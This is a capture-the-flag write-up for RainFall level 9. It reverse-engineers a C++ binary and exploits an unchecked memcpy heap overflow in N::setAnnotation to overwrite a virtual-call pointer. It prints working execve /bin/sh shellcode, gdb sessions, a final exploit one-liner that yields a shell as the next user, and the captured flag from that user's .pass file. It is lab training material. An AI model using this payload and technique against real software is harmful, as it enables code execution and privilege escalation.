[CTF] Overwrite CPP instance exploit (rainfall-lvl09)
Table of contents:
This executable is the 10th one from the ISO file provided to us as a CTF challenge, for more context please visit here we retrieve the assembly code using gdb
level9@RainFall:~$ gdb ./level9
notes
0x080486f6 N::N(int) : CPP class method
0x0804870e N::setAnnotation(char*) : CPP class method
0x0804873a N::operator+(N&) : CPP class method
0x0804874e N::operator-(N&) : CPP class method
0x080485f4 main : function
0x08048529 : main() : disassembly
- notebook: (to convert
hex
todec
and assign variable names for better reading)
{
int argc = ebp+8
char **argv = ebp+12
char *buffer_1 = esp+28
char *buffer_2 = esp+18
char *nFirst = esp+20
char *nSecond = esp+16
0x20 ... 32
0x6c ... 108
0x1c ... 28
0x18 ... 24
0x14 ... 20
0x10 ... 16
}
<0> ➜ <+7> : prepare stack frame for main function with size 32
0x080485f4 <+0>: push ebp
0x080485f5 <+1>: mov ebp,esp
0x080485f7 <+3>: push ebx
0x080485f8 <+4>: and esp,0xfffffff0
0x080485fb <+7>: sub esp,32
<+10> ➜ <+23> : exit with code 1 if no argument sent to program
0x080485fe <+10>: cmp DWORD PTR [argc],1
0x08048602 <+14>: jg 0x8048610 <main+28>
0x08048604 <+16>: mov DWORD PTR [esp],1
0x0804860b <+23>: call 0x80484f0 <_exit@plt>
if (argc <= 1)
exit(1);
<+28> ➜ <+58> : create new instance of class N with value 5
0x08048610 <+28>: mov DWORD PTR [esp],108
0x08048617 <+35>: call 0x8048530 <_Znwj@plt>
0x0804861c <+40>: mov ebx,eax
0x0804861e <+42>: mov DWORD PTR [esp+4],5
0x08048626 <+50>: mov DWORD PTR [esp],ebx
0x08048629 <+53>: call 0x80486f6 <_ZN1NC2Ei> // N::N(int)
0x0804862e <+58>: mov DWORD PTR [buffer_1],ebx
buffer_1 = N(5)
<+62> ➜ <+92> : create new instance of class N with value 6
0x08048632 <+62>: mov DWORD PTR [esp],108
0x08048639 <+69>: call 0x8048530 <_Znwj@plt>
0x0804863e <+74>: mov ebx,eax
0x08048640 <+76>: mov DWORD PTR [esp+4],6
0x08048648 <+84>: mov DWORD PTR [esp],ebx
0x0804864b <+87>: call 0x80486f6 <_ZN1NC2Ei>
0x08048650 <+92>: mov DWORD PTR [buffer_2],ebx
buffer_2 = N(6)
<+96> ➜ <+108> : put the address returned by instances created in two different buffer in our stack
0x08048654 <+96>: mov eax,DWORD PTR [buffer_1]
0x08048658 <+100>: mov DWORD PTR [nFirst],eax
0x0804865c <+104>: mov eax,DWORD PTR [buffer_2]
0x08048660 <+108>: mov DWORD PTR [nSecond],eax
nFirst = buffer_1
nSecond = buffer_2
<+112> ➜ <+131> : call the method setAnnotation of the N class with first argument as param
0x08048664 <+112>: mov eax,DWORD PTR [argv]
0x08048667 <+115>: add eax,4
0x0804866a <+118>: mov eax,DWORD PTR [eax]
0x0804866c <+120>: mov DWORD PTR [esp+4],eax // param2 = argv[1]
0x08048670 <+124>: mov eax,DWORD PTR [nFirst]
0x08048674 <+128>: mov DWORD PTR [esp],eax // param1 = nFirst
0x08048677 <+131>: call 0x804870e <_ZN1N13setAnnotationEPc> // N::setAnnotation(char*)
buffer3.setAnnotation(argv[1]])
<+136> ➜ <+159> : call second instaance with two params (second instance, first instance)
0x0804867c <+136>: mov eax,DWORD PTR [nSecond]
0x08048680 <+140>: mov eax,DWORD PTR [eax]
0x08048682 <+142>: mov edx,DWORD PTR [eax]
edx = **nSecond
0x08048684 <+144>: mov eax,DWORD PTR [nFirst]
0x08048688 <+148>: mov DWORD PTR [esp+4],eax // param2 = *nFirst
0x0804868c <+152>: mov eax,DWORD PTR [nSecond]
0x08048690 <+156>: mov DWORD PTR [esp],eax
0x08048693 <+159>: call edx
**nSecond(*nFirst)
<+161> ➜ <+165> : exit function
0x08048695 <+161>: mov ebx,DWORD PTR [ebp-4]
0x08048698 <+164>: leave
0x08048699 <+165>: ret
Code Prediction
- not really sure about the code prediction, it was a bit difficult to reverse that assembly
class N {
private int number
private char *str
operator+(N& x) {
return this.number + x
}
operator-(N& x) {
return this.number - x
}
setAnnotation(char* txt) {
memcpy(this.str, txt, len(txt))
}
}
int main(int argc(argc), char **argv(ebp+12)) {
if (argc <= 1)
exit(1);
buffer_1 = new N(5);
buffer_2 = new N(6);
nFirst = buffer_1;
nSecond = buffer_2;
nFirst.setAnnotation(argv[1]]);
**nSecond(*nFirst);
return;
}
Process of the Exploit
-
from the syntax of the functions, the code is written in CPP (c++)
-
the program creat two instances of the class N (5, 6 as params each time)
-
the prgram calls setAnnotation of N(5) with first argument as param.
-
setAnnotation takes a string and copy it into the property of the class instance annotiation in the heap with memcpy without a length check, so it vulnerable to overwrite other unwanted area in the Heap.
-
let observe the state of the heap at the end of the programm before leaving
(gdb) b * main+161 Breakpoint 4 at 0x8048695 (gdb) run AAAA (gdb) x/70wx 0x804a000 AAAA 0x804a000: 0x00000000 0x00000071 0x08048848 0x41414141 <---+-------+ 0x804a010: 0x00000000 0x00000000 0x00000000 0x00000000 | | 0x804a020: 0x00000000 0x00000000 0x00000000 0x00000000 | | 0x804a030: 0x00000000 0x00000000 0x00000000 0x00000000 | N(5) | 104 0x804a040: 0x00000000 0x00000000 0x00000000 0x00000000 | | 0x804a050: 0x00000000 0x00000000 0x00000000 0x00000000 | | 0x804a060: 0x00000000 0x00000000 0x00000000 0x00000000 <---+-------+ 0x804a070: 0x00000005 0x00000071 0x08048848 0x00000000 <---+-------+ 0x804a080: 0x00000000 0x00000000 0x00000000 0x00000000 | | 0x804a090: 0x00000000 0x00000000 0x00000000 0x00000000 | | 0x804a0a0: 0x00000000 0x00000000 0x00000000 0x00000000 | N(6) | 104 0x804a0b0: 0x00000000 0x00000000 0x00000000 0x00000000 | | 0x804a0c0: 0x00000000 0x00000000 0x00000000 0x00000000 | | 0x804a0d0: 0x00000000 0x00000000 0x00000000 0x00000000 <---+-------+ 0x804a0e0: 0x00000006 0x00020f21 0x00000000 0x00000000 0x804a0f0: 0x00000000 0x00000000 0x00000000 0x00000000 0x804a100: 0x00000000 0x00000000 0x00000000 0x00000000 0x804a110: 0x00000000 0x00000000
-
the N(6) placed right under N(5) area in the heap
-
the line main+161 , is calling the N(6) by its address (0x08048848)
-
lets try to overwrite it with the memcpy by filling and the size of first N which is 108
(gdb) run $(python -c 'print "A" * 108 + "BBBB"') Program received signal SIGSEGV, Segmentation fault. 0x804a000: 0x00000000 0x00000071 0x08048848 0x41414141 0x804a010: 0x41414141 0x41414141 0x41414141 0x41414141 0x804a020: 0x41414141 0x41414141 0x41414141 0x41414141 0x804a030: 0x41414141 0x41414141 0x41414141 0x41414141 0x804a040: 0x41414141 0x41414141 0x41414141 0x41414141 0x804a050: 0x41414141 0x41414141 0x41414141 0x41414141 0x804a060: 0x41414141 0x41414141 0x41414141 0x41414141 0x804a070: 0x41414141 0x41414141 0x42424242 0x00000000 0x804a080: 0x00000000 0x00000000 0x00000000 0x00000000 0x804a090: 0x00000000 0x00000000 0x00000000 0x00000000 0x804a0a0: 0x00000000 0x00000000 0x00000000 0x00000000 0x804a0b0: 0x00000000 0x00000000 0x00000000 0x00000000 0x804a0c0: 0x00000000 0x00000000 0x00000000 0x00000000 0x804a0d0: 0x00000000 0x00000000 0x00000000 0x00000000 0x804a0e0: 0x00000006 0x00020f21 0x00000000 0x00000000
-
its overwritten , but the program SEGFAULT as u can see
-
the idea is to put a shellcode in the annotiation of N(5)
-
lets try this payload : PADDING + SHELLCODE + POINTER_TO_START_PADDING
shellcode : "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
(gdb) run $(python -c 'print "A" * 87 + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80" + "\x08\x04\xa0\x0c"[::-1]') The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/user/level9/level9 $(python -c 'print "A" * 87 + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80" + "\x08\x04\xa0\x0c"[::-1]') Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? ()
-
weird !! the program is trying to call 0x41414141, which means its try to point again to the first address following the call as param
-
lets view the registers
(gdb) i r eax 0x804a078 134520952 ecx 0x804a00c 134520844 edx 0x41414141 1094795585 ebx 0x804a078 134520952 esp 0xbffff68c 0xbffff68c ebp 0xbffff6b8 0xbffff6b8 esi 0x0 0 edi 0x0 0 eip 0x41414141 0x41414141 eflags 0x210283 [ CF SF IF RF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb)
-
edx : 0x41414141, even 0x0804a00c that was given if you go back to assembly , exactly between <+136> ➜ <+159> you will notice that it points 2 times to the address in edx
-
lets adapt our payload to that
*ADDRESS = ADDRESS+0x4
*0x0804a00c = 0x0804a00c+0x4
*0x0804a00c = 0x804a010
-
refactor our payload : POINTER2 + PADDING + SHELLCODE + POINTER1_TO_POINTER2
$(python -c ‘print “\x08\x04\xa0\x10”[::-1] + “A” * 83 + “\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80” + “\x08\x04\xa0\x0c”[::-1]')
```shell
(gdb) run $(python -c 'print "\x08\x04\xa0\x10"[::-1] + "A" * 83 + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80" + "\x08\x04\xa0\x0c"[::-1]')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user/level9/level9 $(python -c 'print "\x08\x04\xa0\x10"[::-1] + "A" * 83 + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80" + "\x08\x04\xa0\x0c"[::-1]')
process 3641 is executing new program: /bin/dash
Error in re-setting breakpoint 4: No symbol table is loaded. Use the "file" command.
Error in re-setting breakpoint 4: No symbol table is loaded. Use the "file" command.
Error in re-setting breakpoint 4: No symbol table is loaded. Use the "file" command.
$ whoami
level9
$
```
- :)
Solution :
level9@RainFall:~$ ./level9 $(python -c 'print "\x08\x04\xa0\x10"[::-1] + "A" * 83 + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80" + "\x08\x04\xa0\x0c"[::-1]')
$
$ whoami
bonus0
$ pwd
/home/user/level9
$ cat /home/user/bonus0/.pass
f3f0004b6f364cb5a4147e9ef827fa922a4861408845c26b6971ad770d906728
$
Flag : f3f0004b6f364cb5a4147e9ef827fa922a4861408845c26b6971ad770d906728